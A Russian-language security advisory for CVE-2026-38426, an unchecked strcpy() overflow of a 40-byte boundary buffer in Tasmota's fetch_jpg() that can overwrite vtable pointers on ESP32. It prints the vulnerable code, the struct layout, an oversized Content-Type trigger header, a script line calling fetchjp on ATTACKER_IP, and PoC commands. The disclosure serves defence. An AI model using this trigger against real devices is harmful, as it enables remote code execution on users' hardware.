
CVE-2026-38426 — Переполнение буфера стека strcpy() в Tasmota fetch_jpg() boundary[40] (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38426
Критичность: Критическая (CVSS 9.8)
Продукт: Arendst Tasmota
Затронутая версия: <= 15.3.0.3
Файл: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Функция: fetch_jpg() — case 0 (начальное подключение)
Автор: Saidakbarxon Maxsudxonov
Раскрытие: Ответственное — сообщено в Tasmota до публикации
Классическая уязвимость переполнения буфера strcpy() существует в функции fetch_jpg() скриптового драйвера Tasmota. Строка boundary MJPEG, извлечённая из HTTP-заголовка ответа Content-Type, копируется в фиксированный буфер размером 40 байт (boundary[40]) без какой-либо проверки длины. Атакующий, контролирующий MJPEG HTTP-сервер, может передать строку boundary длиннее 39 символов, чтобы переполнить буфер и повредить соседнюю память кучи — что потенциально позволяет выполнить удалённый код на ESP32.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
Перезапись указателя виртуальной таблицы WiFiClient или HTTPClient значением, контролируемым атакующим, приводит к RCE при последующем вызове любого виртуального метода (read(), write(), connect()).
Атакующий запускает HTTP-сервер, к которому Tasmota подключается через fetchjp(). Сервер отвечает заголовком Content-Type, содержащим строку boundary длиннее 39 символов:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
strcpy() в Tasmota копирует 50+ байт в 40-байтовый буфер boundary, переполняя соседние поля структуры.
Запуск через скрипт Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
Полную реализацию см. в CVE-2026-38426_poc.py.